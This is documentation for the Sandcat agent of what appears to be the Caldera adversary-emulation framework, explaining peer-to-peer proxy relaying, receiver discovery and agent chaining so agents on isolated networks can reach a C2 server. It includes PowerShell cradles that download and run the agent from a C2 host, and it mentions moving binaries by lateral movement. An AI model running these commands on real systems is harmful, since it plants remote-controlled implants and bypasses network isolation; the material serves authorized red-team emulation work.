# Peer-to-Peer Proxy Functionality for Sandcat Agents

In certain scenarios, an agent may start on a machine that can't directly connect to the C2 server. 
For instance, agent A may laterally move to a machine that is on an internal network and cannot beacon out to the C2.
By giving agents peer-to-peer capabilities, users can overcome these limitations. Peer-to-peer proxy-enabled agents
can relay messages and act as proxies between the C2 server and peers, giving users more flexibility in their
Caldera operations.

This guide will explain how Sandcat incorporates peer-to-peer proxy functionality and how users can include it
in their operations.

## How Sandcat Uses Peer-to-Peer

By default, a Sandcat agent will try to connect to its defined C2 server using the provided C2 protocol 
(e.g. HTTP). Under ideal circumstances, the requested C2 server is valid and reachable by the agent, and no issues
occur. Because agents cannot guarantee that the requested C2 server is valid, that the requested C2 protocol is
valid and supported by the agent, nor that the C2 server is even reachable, the agent will fall back to
peer-to-peer proxy methods as a backup method. The order of events is as follows:
1. Agent checks if the provided C2 protocol is valid and supported. If not, the agent resorts to peer-to-peer proxy.
2. If the C2 protocol is valid and supported, the agent will try to reach out to the provided C2 server using
that protocol. If the agent gets a successful Beacon, then it continues using the established C2 protocol and server.
If the agent misses 3 Beacons in a row (even after having successfully Beaconed in the past), 
then the agent will fall back to peer-to-peer proxy.

When falling back to peer-to-peer proxy methods, the agent does the following:
1. Search through all known peer proxy receivers and see if any of their protocols are supported.
2. If the agent finds a peer proxy protocol it can use, it will switch its C2 server and C2 protocol to one of
the available corresponding peer proxy locations and the associated peer proxy protocol. 
For example, if an agent cannot successfully make HTTP requests to
the C2 server at `http://10.1.1.1:8080`, but it knows that another agent is proxying peer communications through
an SMB pipe path available at `\\WORKSTATION\pipe\proxypipe`, then the agent will check if it supports SMB Pipe
peer-to-peer proxy capabilities. If so (i.e. if the associated gocat extension was included in the Sandcat binary),
then the agent will change its server to `\\WORKSTATION\pipe\proxypipe` and its C2 protocol to `SmbPipe`.

The agent also keeps track of which peer proxy receivers it has tried so far, and it will round-robin through each
one it hasn't tried until it finds one it can use. If the agent cannot use any of the available peer proxy receivers,
or if they happen to all be offline or unreachable, then the agent will pause and try each one again.

### Determining Available Receivers

Since an agent that requires peer-to-peer communication can't reach the C2 server, it needs a way to obtain the
available proxy peer receivers (their protocols and where to find them). Currently, Caldera achieves this by
including available peer receiver information in the dynamically-compiled binaries. When agents hosting peer proxy
receivers check in through a successful beacon to the C2, the agents will include their peer-to-peer proxy receiver 
addresses and corresponding protocols, if any. The C2 server will store this information to later include
in a dynamically compiled binary upon user request.

Users can compile a Sandcat binary that includes known available peer-to-peer receivers 
(their protocols and locations), by using the `includeProxyPeers` header when sending the HTTP requests
to the Caldera server for agent binary compilation. In order for a receiver to be included, the agent hosting
the receiver must be trusted, and the peer-to-peer protocol for the receiver must be included in the header
value.

The header value can take one of the following formats:
- `All` : include all available receivers
- `protocol1,protocol2,protocol3` : include only the proxy receivers that follow the requested protocols 
(comma-separated). 
- `!protcol1,protocol2,protocol3` : include all available receivers, EXCEPT those that use the indicated protocols.

By specifying protocols, users have greater control over their agents' communication, especially when they 
do not want particular protocols to appear in the local network traffic.

For example, suppose trusted agents A, B, C are each running HTTP proxy receivers at network addresses
`http://10.1.1.11:8081`, `http://10.1.1.12:8082`, `http://10.1.1.13:8083`, respectively. The peer-to-peer proxy protocol
is `HTTP`. When compiling a binary with the HTTP header `includeProxyPeers:All` or `includeProxyPeers:HTTP`, the
binary will contain all 3 URLs for the agent to use in case it cannot connect to the specified C2.

### Required gocat Extensions

To leverage peer-to-peer functionality, one or more gocat extensions may need to be installed. This can be done
through cradles by including the `gocat-extensions` header when sending HTTP requests to the Caldera server for
dynamic Sandcat compilation. The header value will be a comma-separated list of all the desired extensions
(e.g. `proxy_method1,proxy_method2`). If the requested extension is supported and available within the user's current
Caldera installation, then the extension will be included.

### Command Line Options

#### Quickstart

To enable an agent to be used as a proxy:
  1. Include this header in the download command `-H "gocat-extensions:proxy_http"`
  2. Run that agent with the `-listenP2P` flag

To enable an agent to use the other proxy agents you've established:
  1. Include this header in the download command `-H "gocat-extensions:proxy_http"`
  
  Optional: This header can speed up the proxy finding process: `-H "includeProxyPeers:HTTP"`. It tells the server to include a list of known proxy peers in the executable.


#### Starting Receivers

To start an agent with peer-to-peer proxy receivers, the `-listenP2P` commandline switch must be used (no
parameters taken). When this switch is set, the agent will activate all supported peer-to-peer proxy receivers.

Example powershell commands to start an agent with HTTP and SMB Pipe receivers:
```
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http,proxy_smb_pipe"); # Include gocat extensions for the proxy protocols.
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P;
```

#### Manually Connecting to Peers via Command-Line

In cases where operators know ahead of time that a newly spawned agent cannot directly connect to the C2, 
they can use the existing command-line options for Sandcat to have the new agent connect to a peer. 
To do so, the `-c2` and `-server` options  are set to the peer-to-peer proxy protocol and address of the 
peer's proxy receiver, respectively.

For example, suppose trusted agent A is running an SMB pipe proxy receiver at pipe path 
`\\WORKSTATION1\pipe\agentpipe`. Instead of compiling a new agent using the HTTP header `includeProxyPeers:All` or 
`includeProxyPeers:SmbPipe` to include the pipe path information in the binary, operators can simply specify
`-c2 SmbPipe` and `-server \\WORKSTATION1\pipe\agentpipe` in the command to run the agent. Note that in this instance,
the appropriate SMB pipe proxy gocat extension will need to be installed when compiling the agent binaries.

Example powershell commands to start an agent and have it directly connect to a peer's SMB pipe proxy receiver:
```
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_smb_pipe"); # Required extension for SMB Pipe proxy.
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);

# ...
# ... transfer SMB Pipe-enabled binary to new machine via lateral movement technique
# ...

# Run new agent
C:\Users\Public\sandcat.exe -server \\WORKSTATION1\pipe\agentpipe -c2 SmbPipe;
```

### Chaining Peer-to-Peer

In complex circumstances, operators can create proxy chains of agents, where communication with the C2 traverses
several hops through agent peer-to-peer links. The peer-to-peer proxy links do not need to all use the same
proxy protocol. If an agent is running a peer-to-peer proxy receiver via the `-listenP2P` command-line flag,
and if the agent uses peer-to-peer communications to reach the C2 (either automatically or manually), then
the chaining will occur automatically without additional user interaction.

Manual example - run peer proxy receivers, but manually connect to another agent's pipe to communicate with the
C2:
```
C:\Users\Public\sandcat.exe -server \\WORKSTATION1\pipe\agentpipe -listenP2P
```

## Peer-To-Peer Interfaces

At the core of the Sandcat peer-to-peer functionality are the peer-to-peer clients and peer-to-peer receivers.
Agents can operate one or both, and can support multiple variants of each.  For instance, an agent that cannot
directly reach the C2 server would run a peer-to-peer client that will reach out to a peer-to-peer receiver running
on a peer agent. Depending on the gocat extensions that each agent supports, an agent could run many different types
of peer-to-peer receivers simultaneously in order to maximize the likelihood of successful proxied peer-to-peer
communication. 

Direct communication between the Sandcat agent and the C2 server is defined by the Contact interface in the contact.go
file within the `contact` gocat package. Because all peer-to-peer communication eventually gets proxied to the C2 
server, agents essentially treat their peer proxy receivers as just another server. 

The peer-to-peer proxy receiver functionality is defined in the `P2pReceiver` interface in the proxy.go file
within the `proxy` gocat package. Each implementation requires the following:
- Method to initialize the receiver
- Method to run the receiver itself as a go routine (provide the forwarding proxy functionality)
- Methods to update the upstream server and communication implementation
- Method to cleanly terminate the receiver.
- Method to get the local receiver addresses.

## Current Peer-to-Peer Implementations

### HTTP proxy

The Sandcat agent currently supports one peer-to-peer proxy: a basic HTTP proxy. Agents that want to use the HTTP
peer-to-peer proxy can connect to the C2 server via an HTTP proxy running on another agent. Agent A can start an
HTTP proxy receiver (essentially a proxy listener) and forward any requests/responses. Because the nature of an
HTTP proxy receiver implies that the running agent will send HTTP requests upstream, an agent must be using the HTTP
c2 protocol in order to successfully provide HTTP proxy receiver services.

The peer-to-peer HTTP client is the same HTTP implementation of the Contact interface, meaning that an agent simply
needs to use the `HTTP` c2 protocol in order to connect to an HTTP proxy receiver.

In order to run an HTTP proxy receiver, the Sandcat agent must have the `proxy_http` gocat extension installed.

#### Example commands:

Compiling and running a Sandcat agent that supports HTTP receivers:
```
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows"); 
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http");
$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P
```